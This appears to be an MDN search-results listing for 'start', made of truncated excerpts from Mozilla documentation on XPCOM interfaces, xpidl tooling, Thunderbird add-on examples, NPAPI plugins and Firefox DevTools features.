startoffset offset in dom to first char of textnode to test. endoffset offset in dom to last char of textnode to test. return value true if visible, false if not. completemove() will move page view to the top or bottom of the document this will also have the effect of collapsing the sel...
nsISocketTransportService
receive notifications when the socket is ready or detached. createtransport() creates a transport for a specified host and port. note: this function can be called from any thread. nsisockettransport createtransport( in array<acstring> asockettypes, in autf8string ahost, in long aport, in nsiproxyinfo aproxyinfo ); parameters asockettypes array of socket type strings. currently "
starttls", "ssl" and "udp" are supported. pass an empty array [] if the default socket type should be used. you do not need to specify the strings "socks" or "socks4", use the aproxyinfo instead. ahost specifies the target hostname or ip address literal of the peer for this socket. aport specifies the target port of the peer for this socket. aproxyinfo specifies the transport-layer proxy type to ...
...we need a nsisockettransportservice .... ...
nsITimer
type description callback nsitimercallback the nsitimercallback object passed to initwithcallback(). read only. closure voidptr the opaque pointer pass to initwithfunccallback(). read only. native code only! delay unsigned long the timeout delay in millisecond. note: re-setting the delay on a one-shot timer that has already fired doesn't re
start the timer. call one of the init() methods to re
start a one-shot timer. target nsieventtarget the nsieventtarget to which the callback is dispatched. this target must be set before calling any of the initialization methods. type unsigned long defines the timer type: one shot, repeating slack or repeating precise. must be one of the constants defined under constants o...
...methods. type unsigned long defines the timer type: one shot, repeating slack or repeating precise. must be one of the constants defined under constants on this page. constants constant value description type_one_shot 0 type of a timer that fires once only. type_repeating_slack 1 after firing, the timer is stopped and not re
started until its callback completes. the timer period will ideally be at least the time between when processing for last firing the callback completes and when the next firing occurs, but note that this is not guaranteed: the timer can fire at any time. this is the preferable repeating type for most situations. type_repeating_precise 2 type_repeating_precise is just a synonym f...
nsIToolkitProfileService
toolkit/profile/public/nsitoolkitprofileservice.idlscriptable the profile service manages user profiles. inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note:
starting in gecko 1.9.1, this service is implemented by @mozilla.org/toolkit/profile-service;1. to access the service, you can use the following code: var toolkitprofileservice = components.classes["@mozilla.org/toolkit/profile-service;1"] .createinstance(components.interfaces.nsitoolkitprofileservice); prior to gecko 1.9.1 only the built-in profile manager was able to access the toolkit profile service. to access the built-in profile manager in versions of firefox up to 4.0 and thunderbird up to 3.3 you can launch with the -profilemanag...
...itoolkitprofile the profile that is marked as "default=1" in the profiles.ini file. (not the profile currently in use.) not sure what happens if you change this setting but someone said: you can change profiles by setting this attribute's value. this may throw an ns_error_failure (0x80004005) when trying to get the current profile if it's unavailable or if permissions restrict access.
startoffline boolean
startwithlastprofile boolean methods createprofile() creates a new profile. the profile temporary directory will be chosen based on where the profile directory is located. nsitoolkitprofile createprofile( in nsilocalfile arootdir, in autf8string aname ); parameters arootdir the profile directory. may be null, in which case a suitable defa...
nsITreeBoxObject
scrolltocell(in long row, in nsitreecolumn col); void scrolltocolumn(in nsitreecolumn col); void scrolltohorizontalposition(in long horizontalposition); void invalidate(); void invalidatecolumn(in nsitreecolumn col); void invalidaterow(in long index); void invalidatecell(in long row, in nsitreecolumn col); void invalidaterange(in long
startindex, in long endindex); void invalidatecolumnrange(in long
startindex, in long endindex, in nsitreecolumn col); long getrowat(in long x, in long y); void getcellat(in long x, in long y, out long row, out nsitreecolumn col, out acstring childelt); void getcoordsforcellitem(in long row, in nsitreecolumn col, in acstring element, out long x, out long y, out long ...
...sition the number of pixels to scroll invalidate() invalidatecolumn() invalidaterow() invalidatecell() invalidaterange() invalidatecolumnrange() invalidation methods for fine-grained painting control. void invalidate(); void invalidatecolumn(in nsitreecolumn col); void invalidaterow(in long index); void invalidatecell(in long row, in nsitreecolumn col); void invalidaterange(in long
startindex, in long endindex); void invalidatecolumnrange(in long
startindex, in long endindex, in nsitreecolumn col); getrowat() a hit test that can tell you what row the mouse is over. returns -1 for invalid mouse coordinates. the coordinate system is the client coordinate system for the document this boxobject lives in, and the units are css pixels. long getrowat(in ...
nsIWebNavigation
docshell/base/nsiwebnavigation.idlscriptable defines an interface for navigating the web. it provides methods and attributes to direct an object to navigate to a new location, stop or re
start an in process load, or determine where the object has previously gone. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead. method overview void goback void goforward void gotoindex...
...y caches should be bypassed (that is, that the content should be loaded from the origin server). load_flags_charset_change 1024 this flag specifies that a reload was triggered as a result of detecting an incorrect character encoding while parsing a previously loaded document. load_flags_stop_content 2048 if this flag is set, stop() will be called before the load
starts and will stop both content and network activity (the default is to only stop network activity). effectively, this passes the stop_content flag to stop(), in addition to the stop_network flag. load_flags_from_external 4096 a hint this load was prompted by an external program: take care! load_flags_allow_third_party_fixup 8192 this flag specifies that the uri may ...
nsIWebSocketListener
void onacknowledge( in nsisupports acontext, in pruint32 asize ); parameters acontext user defined context. asize number of bytes placed i...
... still be sent through the nsiwebsocketchannel connection. void onserverclose( in nsisupports acontext, in unsigned short acode, in autf8string areason ); parameters acontext user defined context. acode the websocket closing handshake status code; see status codes for possible values. areason a text string explaining the reason for the closure of the connection. on
start() called to signify the establishment of the message stream. any listener that receives on
start() will also receive onstop(). void on
start( in nsisupports acontext ); parameters acontext user defined context. onstop() called to signify the completion of the message stream. this is the final notification the listener will receive; once it's been received, the websocket connection is c...
nsIWindowWatcher
n will claim no ownership. windows must notify this component when they are created or destroyed, so only a weak reference is kept. note that there is no interface for such notifications (not a public one, anyway). this is taken care of both in mozilla and by common embedding code. embedding clients need do nothing special about that requirement. this component must be initialized at application
startup by calling setwindowcreator(). method overview nsiwebbrowserchrome getchromeforwindow(in nsidomwindow awindow); nsiauthprompt getnewauthprompter(in nsidomwindow aparent); nsiprompt getnewprompter(in nsidomwindow aparent); nsidomwindow getwindowbyname(in wstring atargetname, in nsidomwindow acurrentwindow); nsisimpleenumerator getwindowenumerator();...
...trieve an existing window (or frame). note: this method will search all open windows for any window or frame with the given window name. make sure you understand the security implications of this before using this method! nsidomwindow getwindowbyname( in wstring atargetname, in nsidomwindow acurrentwindow ); parameters atargetname the window name. acurrentwindow the nsidomwindow
starting point in the window hierarchy to begin the search. if null, each top level window will be searched. return value the nsidomwindow with the target name. getwindowenumerator() get an nsisimpleenumerator for currently open windows in the order they were opened, guaranteeing that each will be visited exactly once. nsisimpleenumerator getwindowenumerator(); parameters none. return value ...
XPCOM Interface Reference
accessibleretrievalnsiaccessiblerolensiaccessiblescrolltypensiaccessibleselectablensiaccessiblestatechangeeventnsiaccessiblestatesnsiaccessibletablensiaccessibletablecellnsiaccessibletablechangeeventnsiaccessibletextnsiaccessibletextchangeeventnsiaccessibletreecachensiaccessiblevaluensiaccessiblewin32objectnsialertsservicensiannotationobservernsiannotationservicensiappshellnsiappshellservicensiapp
startupnsiapp
startup_mozilla_2_0nsiapplicationcachensiapplicationcachechannelnsiapplicationcachecontainernsiapplicationcachenamespacensiapplicationcacheservicensiapplicationupdateservicensiarraynsiasyncinputstreamnsiasyncoutputstreamnsiasyncstreamcopiernsiasyncverifyredirectcallbacknsiauthinformationnsiauthmodulensiauthpromptnsiauthprompt2nsiauthpromptadapterfactorynsiauthpromptcallbacknsiauthpromptpro...
...eennsiscreenmanagernsiscripterrornsiscripterror2nsiscriptableionsiscriptableinputstreamnsiscriptableunescapehtmlnsiscriptableunicodeconverternsiscrollablensisearchenginensisearchsubmissionnsisecuritycheckedcomponentnsiseekablestreamnsiselectionnsiselection2nsiselection3nsiselectioncontrollernsiselectionimageservicensiselectionprivatensiserversocketnsiserversocketlistenernsiservicemanagernsisession
startupnsisessionstorensisimpleenumeratornsismsdatabaseservicensismsrequestmanagernsismsservicensisocketprovidernsisocketproviderservicensisockettransportnsisockettransportservicensisoundnsispeculativeconnectnsistackframensistandardurlnsistreamconverternsistreamlistenernsistringbundlensistringbundleoverridensistringbundleservicensistringenumeratornsistructuredclonecontainernsistylesheetservicensisuppor...
Using nsCOMPtr
this document is the sum total of everything written down about nscomptr. if you have a question about nscomptr, and this document doesn't answer it, there probably isn't a document that answers it. you'll have to turn to the xpcom newsgroup or another experienced nscomptr user, or find the answer by experimentation. if you've never used nscomptr before, you're
starting in the right place. just keep reading. ...
...used nscomptr before, you're
starting in the right place. just keep reading. you'll know when to stop. after you've been using nscomptrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to this document to get help from the reference manual or the faq. contents status, recent changes, and plans recent changes to nscomptr getting
started guide introduction using nscomptr summary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i... general bibliography original document information author(s): scott collins la...
Xptcall Porting Guide
ng platform specific assembly language code. this code needs to be ported to all platforms that want to support xptcall (and thus mozilla). the tree mozilla/xpcom/reflect/xptcall +--public // exported headers +--src // core source | \--md // platform specific parts | +--mac // mac ppc | +--unix // all unix | \--win32 // win32 | +--test // simple tests to get
started \--tests // full tests via api porters are free to create subdirectories under the base md directory for their given platforms and to integrate into the build system as appropriate for their platform. theory of operation there are really two pieces of functionality: invoke and stubs... the invoke functionality requires the implementation of the following on each platform (from xptcall/pub...
...please remember that safety and reliability are more important than speed optimizations. this code is primarily used to connect xpcom components with javascript; function call overhead is a tiny part of the time involved. i put together xptcall/src/md/test as a place to evolve the basic functionality as a port is coming together. not all of the functionality is exercised, but it is a place to get
started. xptcall/tests has an api level test for ns_invokebyindex, but no tests for the stubs functionality. such a test ought to be written, but this has not yet been done. a full 'test' at this point requires building the client and running the xpconnect test called testxpc in mozilla/js/src/xpconnect/tests. getting these ports done is very important. please let me know if you are interested in doing...
pyxpidl
the pyxpidl tool suite has been built to replace the older xpidl tool which, in the past, was used to turn xpidl files into c++ headers and xpcom typelibs (xpt files). the newer utility has the advantage of not needing any code to be compiled in order to use it, and let us remove a bunch of old code from the tree. pyxpidl has been in use for a while, but replaced xpidl in the gecko sdk
starting in gecko 9.0. using pyxpidl pyxpidl is in the sdk in the sdkdir/sdk/bin/ directory. unlike xpidl, which combined all the functions into a single utility, pyxpidl is comprised of two utilities: header.py, which generates c++ headers from idl, and typelib.py, which generates xpt files. pyxpidl requires a directory to cache certain information in. you can use a temporary directory or the curren...
...ription pyxpidl equivalent -a emit annotations to typelib n/a (feature removed) -w turn on warnings n/a (this is now the default and can't be turned off) -v verbose mode (nyi) n/a (feature removed) -t creates a typelib of a specific version number n/a (feature removed, and probably never actually worked) -i add an entry to
start of include path for #include "nsifoo.idl" -i (unchanged) -o specify the base name for output (-o /tmp/nsifoo for example) -o outputfile (this isn't just the base name, but needs to include the extension; for example -o /tmp/nsifoo.idl) -e specify an explicit output file name (-e /tmp/nsifoo.idl for example) n/a (this is subsumed by -o now) -d write dep...
xpidl
xpidl is a tool for generating xpcom interface information, based on xpidl interface description files. it generates: c++ header files (.h), with a commented template for full c++ implementation of the interface xpconnect typelib files (.xpt), with runtime type information to dynamically call xpcom objects through xpconnect note:
starting in gecko 9.0, xpidl has been replaced with pyxpidl in the gecko sdk. pyxpidl has been used for some time now, but now this older tool has been fully retired. xpidl is based on the libidl idl compiler from the gnome project. the libidl compiler depends on glib, also from the gnome project. the xpidl compiler is now part of the build process, allowing us to generate headers used by the xpcom components. please check the build documentation for f...
...``/tmp/nsithing) for output -e use explicit output filename -d write dependencies (requires -e) -m specify output mode: header generate c++ header (.h) typelib generate xpconnect typelib (.xpt) doc generate html documentation (.html...
Mozilla technologies
ain documentation on mozilla specific implementation details of assistive technology apis.animated png graphicsapng is an extension of the portable network graphics (png) format, adding support for animated images. apng is a simpler alternative to mng, providing a spec suitable for the most common usage of animated images on the internet.docshelldocshell is the second iteration of what originally
started out as webshell. at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces wi...
...uthors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
starting with mozilla 1.9, it was phased out in favor of sqlite, a more widely-supported file format.placesplaces is the bookmarks and history management system introduced in firefox 3. it offers increased flexibility and complex querying to make handling the places the user goes easier and more convenient. it also includes new features including favicon storage and the ability to annotate pages with a...
Demo Addon
e nsimsgidentity and therefore multiple associated email addresses, with use fixiterator() again to go over all identities and get every email address. demo 2 - find the inbox this demo shows various information: it lists all folders of an account (in this case the first one) and marks the inbox folder with a *. furthermore, it shows some messages in the inbox and lists a random attachment. we
start with listing all folders and marking the inbox: let server = accounts[0].incomingserver; let folder = server.rootfolder; // ... let inbox; let print = function (indent, folder) { let isinbox = folder.getflag(ci.nsmsgfolderflags.inbox); if (isinbox) inbox = folder; str += indent + folder.prettiestname + (isinbox ? " *" : "") + "\n"; if (folder.hassubfolders) for ea...
...the previous example, we get the incomingserver of the account in question. beginning with the rootfolder, with folder.getflag(ci.nsmsgfolderflags.inbox) we check whether the folder is the inbox. then we store the folder name in a string to display it later on the screen and mark it with an * if it is the inbox. afterwards, we check every folder for subfolders. we then go into each subfolder and
start over. to list some messages of the folder we use: for each (let msghdr in fixiterator(inbox.msgdatabase.enumeratemessages(), ci.nsimsgdbhdr)) { if (++i >= 10 && lastmsghdr != null) break; messages.push({ author: msghdr.mime2decodedauthor, subject: msghdr.mime2decodedsubject, date: new date(msghdr.date/1000), }); //... } to get a collection of mes...
Activity Manager examples
t using process' attributes process.state = components.interfaces.nsiactivityprocess.state_completed; gactivitymanager.removeactivity(process.id); let event = components.classes["@mozilla.org/activity-event;1"].createinstance(nsiae); // localization is omitted, initiator is omitted event.init(folder.prettiestname + " is processed", null, "no junk found", process.
starttime, //
start time date.now()); // completion time event.contexttype = process.contexttype; // optional event.contextobj = process.contextobj; // optional gactivitymanager.addactivity(event); showing a user-defined activity with cancel capability (javascript) this sample improves the previous one by providing an nsiactivitycancelhandler to allow the user to cancel the pr...
...riant component nscomptr<nsiwritablevariant> srcfolder = do_createinstance(ns_variant_contractid); srcfolder->setasisupports(reinterpret_cast<nsisupports*>(imapfolder)); copyevent->addsubject(srcfolder); copyevent->init(ns_literal_string("message copy event"), initiator, ns_literal_string("completed successfully"), pr_now() / pr_usec_per_msec, //
start time pr_now() / pr_usec_per_msec); // completion time // do not forget to increase the ref counter if needed copyevent->setundohandler(undohandler); //////////////////////////////////////////////////////////////// //// adding the event into activity manager nscomptr<nsiactivitymanager> activitymgr(do_getservice("@mozilla.org/activity-manager;1")); pruint32 id; activitymgr->ad...
Thunderbird extensions
building a thunderbird extension step-by-step explanation on how to build an extension for thunderbird. the following documentation provides help for creating extensions for the thunderbird email client. there are similarities with firefox extensions, but there are also differences that may confound the
starting thunderbird developer. this documention series focuses on thunderbird. need personalized help? see community / communications. warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for newer information. documentation getting
started with thunderbird a brave, young developer wants to develop an add-on for thunderbird. these links to help through this journey. ...
...alized help? see community / communications. warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for newer information. documentation getting
started with thunderbird a brave, young developer wants to develop an add-on for thunderbird. these links to help through this journey.
start by reading the tutorial and learn how to build a thunderbird extension. also see thunderbird 57-60 add-ons guide for changes introduced in thunderbird 60. read about the main windows to learn about « thread pane », « preview pane », and « folder pane ». play with a demo add-on that exercises some more advanced thunderbird-specific features want to do even more? don't reinven...
ctypes.open
and used from js-ctypes, compile it with these commands: gcc -fpic -c mycfuntionsforunix.c gcc -shared -o mycfuntionsforunix.so mycfuntionsforunix.o a file named mycfuntionsforunix.so is successfully created. this native file can be placed in any folder of an addon and then loaded from js-ctypes. they can also be loaded from the system library path. loading the native file if your addon is re
startless, you must set it to be unpacked. see: http://stackoverflow.com/questions/19382201/how-to-load-dll-from-sdk-addon-data-folder it is important to note that custom native files cannot be loaded through chrome:// or resource:// uris. they must be accessed through a local file path (file://) or a jar path (jar:). if the addon is an unpacked addon, such as bootstrap or add-on sdk addons, the jar ...
...tensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" var filepath_mylib = localfilemylib.path; // "file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" if your add-on is a bootstrap add-on, then you don't need to use this method to convert a chrome:// path; instead, on
startup procedure of the bootstrap add-on obtain the file and/or jar path from installpath from the adata parameter. function
startup(adata, areason) { var nsifile_folder = adata.installpath; // if addon is unpacked, this will be the addon folder. if addon is packed, this will be addon xpi } this can then be joined with your file name to obtain it's path like this: function
startup(adata, areaso...
Plug-in Development Overview - Plugins
finds and invokes the plug-in object that supports that type. the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server. the server looks for the mime type registered by a plug-in, based on the file extension, and
starts sending the file to the browser. the browser looks up the media type, and if it finds a plug-in registered to that type, loads the plug-in software. when it
starts up, the browser checks for plug-in modules for the platform and registers them. it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the co...
...l to send data to a url from a memory buffer or file. the result from the server can also be sent to a particular browser window or frame for display, or delivered to the plug-in instance in a new stream. the npn_posturlnotify function operates like npn_posturl, except that it notifies the plug-in of the result when the operation completes. for information about using these methods, see urls.
starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), you can get the origin of the document in a secure, convenient way by calling npn_getvalue() to retrieve the value of the variable npnvdocumentorigin. the returned value is the unicode serialization of the document's origin converted to nfkc-encoded (that is, normalized) utf-8. your plug-in must free the returned string's memory ...
Version, UI, and Status Information - Plugins
s unavailable, the developer must arrange for alternative behavior, shut down the plug-in, or give the user a chance to decide what to do. detecting windowless support on ms windows and mac os x in this example, the has_windowless method finds out whether the current version of the api supports windowless plug-ins. this method for detecting support is only useful on ms windows and mac os x. it
starts by using npn_version to get the version numbers. it then uses the netscape_minor version number to find out if the windowless feature, represented by the npvers_has_windowless constant, is supported. if the method returns true, a windowless plug-in can confidently proceed. if false is returned, windowless plug-ins will not work, and the developer must provide alternatives. bool has_windowless()...
...plug-in support at the time it was added to ms windows and mac os x, so a different method must be used to detect whether the browser provides support. bool has_windowless() { npbool supportswindowless = false; nperror ret = npn_getvalue(instance, npnvsupportswindowless, &supportswindowless); return ret == nperr_no_error && supportswindowless; } reloading a plug-in when the browser
starts up, it loads all the plug-ins it finds in the plugins directory for the platform. if you call npn_reloadplugins, the browser reloads all plug-ins in the plugins directory without re
starting. this causes the browser to install a new plug-in and load it, or remove a plug-in, without having to re
start. consider using this function as part of the plug-in's smartupdate process. void npn_reloadplugin...
Plugins
security and performance problem for firefox (and other browser) users. they may not be supported in the future. new content should not be written using flash or any other plugin technology. roadmap plugin roadmap information about the roadmap for adobe flash and other plugin support in firefox. roadmap highlights since firefox 52, plugins other than flash are not loaded by firefox. ...
... tutorials and references the articles below are developer information about the developing for click-to-play, and plugin blocking. ...
Debugging service workers - Firefox Developer Tools
e we will look at debugging service workers using the firefox devtools application panel. when you open the application panel’s service workers view on a page that doesn't have a service worker registered, you'll get the following output shown: this gives you some advice on what to do if you don't have a service worker registered, and were perhaps expecting there to be one registered! let's
start by troubleshooting this. getting your service worker to register before you can look at your service worker in action in the applications panel, you need to successfully register it. registration is done with a block of code along these lines, using the register() method: if('serviceworker' in navigator) { navigator.serviceworker .register('sw.js') .then(function() { co...
... the url that the service worker is registered on. that last time the service worker was updated (if the service has not been updated, this is when it was first installed). the path to the service worker source file. the server worker’s status, which can be one of the following: stopped: the service worker is installed, but not currently running. when the service worker is stopped, a
start button is provided to
start it running, allowing you to trigger the service worker lifecycle. running: the service worker is running. there are a couple of other useful controls on this view, too. unregister on the right-hand side of the service workers view there is an unregister button, which when pressed unregisters the service worker. this is very useful because, once registered, ...
Browser Console - Firefox Developer Tools
gging toolboxes" (firefox 40 and later) option in the developer tool settings. opening the browser console you can open the browser console in one of two ways: from the menu: select "browser console" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on macos). from the keyboard: press ctrl+shift+j (or cmd+shift+j on a mac). you can also
start the browser console by launching firefox from the command line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages. at the top, a toolbar enables yo...
... gbrowser.getbrowserfortab(gbrowser.selectedtab); newtabbrowser.addeventlistener("load", function() { newtabbrowser.contentdocument.body.innerhtml = "<h1>this page has been eaten</h1>"; }, true); newtabbrowser.contentdocument.location.href = "https://mozilla.org/"; it adds a listener to the currently selected tab's load event that will eat the new page, then loads a new page. note: you can re
start the browser with the command ctrl + alt + r (windows, linux) or cmd + alt + r (mac) this command re
starts the browser with the same tabs open as before the re
start. modifying the browser ui since the global window object is the browser's chrome window, you can also modify the browser's user interface. on windows, the following code will add a new item to the browser's main menu: var parent = ...
Debugger.Memory - Firefox Developer Tools
e gc cycle. it has the following properties: collections the collections property’s value is an array. because spidermonkey’s collector is incremental, a full collection cycle may consist of multiple discrete collection slices with the js mutator running interleaved. for each collection slice that occurred, there is an entry in the collections array with the following form: { "
starttimestamp":timestamp, "endtimestamp":timestamp, } here the timestamp values are timestamps of the gc slice’s
start and end events. reason a very short string describing the reason why the collection was triggered. known values include the following: “api” “eager_alloc_trigger” “destroy_runtime” “last_ditch” “too_much_malloc” “alloc_trig...
...gs: normal: the string’s text is counted in its size. substring: the string is a substring of some other string, and points to that string for its storage. this representation may result in a small string retaining a very large string. however, the memory consumed by the string itself is a small constant independent of its size, since it is simply a reference to the larger string, a
start position, and a length. concatenations: when asked to concatenate two strings, spidermonkey may elect to delay copying the strings’ data, and represent the result simply as a pointer to the two original strings. again, such a string retains other strings, but the memory consumed by the string itself is a small constant independent of its size, since it is simply a pair of pointers. sp...
Tutorial: Set a breakpoint - Firefox Developer Tools
s checked. the scratchpad panel should appear at the top of the toolbox alongside the console, debugger, and memory panels. click on the scratchpad panel and enter the following code: components.utils.import("resource://gre/modules/jsdebugger.jsm"); components.utils.import("resource://gre/modules/console.jsm"); // this simply defines 'debugger' in this scratchpad; // it doesn't actually
start debugging anything. adddebuggertoglobal(this); // create a 'debugger' instance. var dbg = new debugger; // make the tab's top window a debuggee, and get a // debugger.object referring to the window. var windowdo = dbg.adddebuggee(tabs[0].content); // get a debugger.object referring to the window's `report` // function. var reportdo = windowdo.getownpropertydescriptor('report').value; // set a...
...nsole.log('hit breakpoint in ' + frame.callee.name); console.log('what = ' + frame.eval('what').return); } }); console.log('finished setting breakpoint!'); in the scratchpad, ensure that no text is selected, and press the “run” button. now, click on the text that says “click me!” in the web page. this runs the div element’s onclick handler. when control reaches the
start of the report function, debugger calls the breakpoint handler’s hit method, passing a debugger.frame instance. the hit method logs the breakpoint hit to the browser content toolbox’s console. then it evaluates the expression what in the given stack frame, and logs its result. the toolbox’s console now looks like this: you can also click on the text that says “or me!”, to see repo...
DevTools API - Firefox Developer Tools
s linked to a target, which is the object the tools are debugging. a target is usually a web page (a tab), but can be other things (a chrome window, a remote tab,…). in terms of code, each tool has to provide a tooldefinition object. a definition is a js light object that exposes different information about the tool (like its name and its icon), and a build method that will be used later-on to
start an instance of this tool. the gdevtools global object provides methods to register a tool definition and to access tool instances. an instance of a tool is called a toolpanel. the toolpanel is built only when the tool is selected (not when the toolbox is opened). there is no way to "close/destroy" a toolpanel. the only way to close a toolpanel is to close its containing toolbox. all these object...
... select(toolid) a tool has been selected. this event is emitted before the corresponding {toolid}-selected event. {toolid}-init(frame) a tool is about to be loaded. the frame is the <iframe> element that has been created for the tool. {toolid}-build(panel) the frame for a tool has loaded and the toolpanel.build() method has been called but the asynchronous initialization has not
started. the parameter is a toolpanel object. {toolid}-ready(panel) the asynchronous initialization for a tool has completed and it is ready to be used. the parameter is a toolpanel object. {toolid}-selected(panel) a tool has been selected. the parameter is a toolpanel object. {toolid}-destroy(panel) a tool is about to be destroyed. the parameter is a toolpanel object. destroy t...
Examine and edit CSS - Firefox Developer Tools
lucida grande", type that in the search box. while in the computed view, you can press ctrl / cmd + f to focus the search field. once you've typed in a filter, you can press esc to remove it again. edit rules if you click on a declaration or a selector in the rules view you can edit it and see the results immediately. ...
...n press esc to remove it again. edit rules if you click on a declaration or a selector in the rules view you can edit it and see the results immediately. you can also tab through the different existing properties and values, and
start editing them by pressing enter or space. to add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace). as you
start typing a property name, you'll see a list of autocomplete suggestions. press tab to accept the current suggestion or up and down to move through the list. the default choice is the most common property that
starts with the letters you've typed. for example, here the user has typed "c" and the default choice is "color": if you enter an invalid value for a property when editing it, or an unknown...
Examine and edit HTML - Firefox Developer Tools
adcrumbs at the bottom on the html pane is a breadcrumbs toolbar. this shows the complete hierarchy through the document for the branch containing the selected element: hovering over a breadcrumb highlights that element in the page. the breadcrumbs bar has its own keyboard shortcuts. searching the page inspector's search box matches all markup in the current document and in any frames. to
start searching the markup, click in the search box to expand it or press ctrl + f , or cmd + f on a mac. there are three types of searches that are performed automatically depending on what you enter, a full text search, a css selector search, and an xpath search. full text search the full text search will always be executed, independently of what you enter. that allows you to find css selectors and...
...nter. you can cycle backwards through matches using shift + enter. xpath search it is also possible to search via xpaths. this allows you to search for specific elements without the conflict of matching words within the text. for example, //a matches all <a> elements but not the letter "a" within the text content. furthermore it allows for some more advanced searches like finding elements that
start with a specific text, for example. html tree the rest of the pane shows you the page's html as a tree (this ui is also called the markup view). just to the left of each node is an arrow: click the arrow to expand the node. if you hold the alt key while clicking the arrow, it expands the node and all the nodes underneath it. moving the mouse over a node in the tree highlights that element in ...
Allocations - Firefox Developer Tools
ost you'll see that there are separate sets of columns for "self" and for "total". "self" records samples taken only in this function. "total" records samples taken in this function or in functions called by this function. at the top level, these are always the same, since the view presents "leaf" functions at the top level (that is, it presents an inverted view of the call stack). but if you
start walking back up the call stack, you'll see the difference: here, 8904 samples were taken in signallater(). but signallater() was called from two places: removeinner() and setselectioninner(). both these functions have 0 in self count, meaning that no allocations were seen directly in these functions. however, removeinner() has 8901 in total count, while setselectioninner() has just 3 in total ...
...run garbage collection, and more likely to run full, non-incremental garbage collection. if a gc event was caused by allocation pressure, then the sidebar on the right of the marker in the waterfall view contains a link labeled "show allocation triggers". if you click this link, the devtools switches to the allocations view, and selects the region of time from the end of the last gc cycle to the
start of the one you clicked on. this shows you all the allocations that collectively triggered this gc event: if you're seeing these problems, consider whether you can reduce the number or size of the allocations you're making here. for example: can you allocate memory lazily, when it is actually needed, instead of up front? if allocating memory in a loop, can you reuse a single allocation in e...
Style Editor - Firefox Developer Tools
ntry in the style sheet pane. the editor provides line numbers and syntax highlighting to help make it easier to read your css. it also supports a number of keyboard shortcuts. the style editor automatically de-minimizes style sheets that it detects, without affecting the original. this makes it much easier to work on pages that have been optimized. the style editor supports autocomplete. just
start typing, and it will offer you a list of suggestions. you can switch autocomplete off in the style editor settings. the media sidebar the style editor displays a sidebar on the right-hand side whenever the current sheet contains any @media rules. the sidebar lists the rules and provides a link to the line of the sheet where the rule is defined. click an item to jump to that rule in the sheet. t...
... responsive design view for creating and debugging responsive layouts: from firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the responsive design view: creating and importing style sheets you can create a new style sheet by clicking the new button in the toolbar. then you can just
start entering css into the new editor and watch as the new styles are applied in real time just like changes to the other sheets. you can load a style sheet from disk and apply it to the page by clicking the import button. source map support web developers often create css files using a preprocessor like sass, less, or stylus. these tools generate css files from a richer and more expressive synta...
Web Console Helpers - Firefox Developer Tools
x(xpath, element, resulttype) evaluates the xpath xpath expression in the context of element and returns an array of matching nodes. if unspecified, element defaults to document. the resulttype parameter specifies the type of result to return; it can be an xpathresult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, any_type is used. :block (
starting in firefox 80) followed by an unquoted string, blocks requests where the url contains that string. in the network monitor, the string now appears and is selected in the request blocking sidebar. unblock with :unblock. cd() switches javascript evaluation context to a different iframe in the page. this helper accepts multiple different ways of identifying the frame to switch to. you can sup...
...e will be saved. with this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot. when used, "-fullpage" will be appended to the file name. --selector string the css query selector for a single element on the page. when supplied, only this element will be included in the screenshot. :unblock (
starting in firefox 80) followed by an unquoted string, removes blocking for urls containing that string. in the network monitor, the string is removed from the request blocking sidebar. no error is given if the string was not previously blocked. values() given an object, returns a list of the values on that object; serves as a companion to keys(). please refer to the console api for more informati...
Web console keyboard shortcuts - Firefox Developer Tools
esc focus on the command line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l command line interpreter these shortcuts apply when you're in the command line interpreter. ...
... command windows macos linux increase font size ctrl + + cmd + + ctrl + + decrease font size ctrl + - cmd + - ctrl + - ...
The JavaScript input interpreter - Firefox Developer Tools
le lines of javascript by default in this mode, pressing enter after each one. to execute the snippet that is currently in the editing pane, click the run button or press ctrl+enter (or cmd+return on macos). the snippet is echoed under the input prompt (in the right-side pane), followed by the result. you can also select a range of lines in the editing pane, and run just the code on those lines.
starting in firefox 76, if the code snippet is more than five lines long, only the first five lines are echoed in the console, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…). click anywhere in the area containing the echoed code to show the whole snippet; click again in that area to collapse it. you can open files when in multi-line mode, and save the current cont...
